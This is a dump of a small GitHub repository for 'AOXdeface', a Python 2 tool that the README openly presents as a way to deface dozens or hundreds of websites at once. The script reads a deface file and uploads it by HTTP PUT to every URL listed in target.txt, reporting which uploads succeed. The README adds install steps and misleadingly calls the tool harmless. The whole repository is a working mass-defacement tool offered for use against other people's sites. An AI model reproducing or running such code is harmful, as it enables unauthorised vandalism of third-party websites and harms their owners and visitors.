[
  {
    "path": "README.md",
    "content": "# AOXdeface\n\nwhat is AOXdeface tools?<br>\nAOXdeface is a tool for defacing dozens or hundreds of sites at once,depending on the number\nof sites that have been determined by you, this is not dangerous, and this is only the file upload method<br>\nINDONESIA:<br>\nAOXdeface adalah alat untuk melakukan defacing terhadap puluhan atau ratusan situs sekaligus,<br>\ntergantung pada jumlah situs yang telah ditentukan oleh kamu :V, ini tidak berbahaya,<br>\ndan ini hanya metode upload file saja\n\n**screnshoot:**\n![1](https://github.com/Ranginang67/AOXdeface/blob/master/img/aox.png)\n\n**how to install and usage:**\n\n**Termux:**\n* `pkg install python2`\n* `pip2 install requests`\n* `pkg install git`\n* `git clone https://github.com/Ranginang67/AOXdeface`\n* `cd AOXdeface`\n* `python2 aox.py`\n\n**Linux:**\n* `apt-get install python`\n* `apt-get install pthon-pip`\n* `pip install requests`\n* `apt-get install git`\n* `git clone https://github.com/Ranginang67/AOXdeface`\n* `cd AOXdeface`\n* `python aox.py`\n\n**NOTE:** before using this tool, put your deface script with the aox.py file, edit the file 'target.txt' and enter the target url\n\n\n[YOUTUBE](https://www.youtube.com/channel/UCNMD5U02GFeWLqmrl_XSPGQ) <br>\n[TLEGRAM](https://t.me/Msambari)\n"
  },
  {
    "path": "aox.py",
    "content": "#-*- coding: utf-8 -*-\n\ntry:\n   import requests\n   import os.path\n   import sys\nexcept ImportError:\n   exit(\"install requests and try again ...\")\n\nbanner = \"\"\"\n\n █████╗ ██╗  ██╗██████╗  Author : Ms.ambari\n██╔══██╗╚██╗██╔╝██╔══██╗ Date   : 2018-12-01\n███████║ ╚███╔╝ ██║  ██║ Tools  : aoXdeface V.1.0\n██╔══██║ ██╔██╗ ██║  ██║ Github : /Ranginang67\n██║  ██║██╔╝ ██╗██████╔╝ youtube: Ms.ambari\n╚═╝  ╚═╝╚═╝  ╚═╝╚═════╝ \n\"\"\"\n\nb = '\\033[31m'\nh = '\\033[32m'\nm = '\\033[00m'\n\ndef x(tetew):\n   ipt = ''\n   if sys.version_info.major > 2:\n      ipt = input(tetew)\n   else:\n      ipt = raw_input(tetew)\n   \n   return str(ipt)\n\ndef aox(script,target_file=\"target.txt\"):\n   op = open(script,\"r\").read()\n   with open(target_file, \"r\") as target:\n      target = target.readlines()\n      s = requests.Session()\n      print(\"uploading file to %d website\"%(len(target)))\n      for web in target:\n         try:\n            site = web.strip()\n            if site.startswith(\"http://\") is False:\n               site = \"http://\" + site\n            req = s.put(site+\"/\"+script,data=op)\n            if req.status_code < 200 or req.status_code >= 250:\n               print(m+\"[\"+b+\" FAILED!\"+m+\" ] %s/%s\"%(site,script))\n            else:\n               print(m+\"[\"+h+\" SUCCESS\"+m+\" ] %s/%s\"%(site,script))\n\n         except requests.exceptions.RequestException:\n            continue\n         except KeyboardInterrupt:\n            print; exit()\n\ndef main(__bn__):\n   print(__bn__)\n   while True:\n      try:\n         a = x(\"Enter your script deface name: \")\n         if not os.path.isfile(a):\n            print(\"file '%s' not found\"%(a))\n            continue\n         else:\n            break\n      except KeyboardInterrupt:\n         print; exit()\n\n   aox(a)\n\nif __name__ == \"__main__\":\n    main(banner)\n"
  },
  {
    "path": "img/example",
    "content": "\n"
  },
  {
    "path": "target.txt",
    "content": "http://your-target1.com\nhttp://your-target2.com\nhttp://your-target2.com\n"
  }
]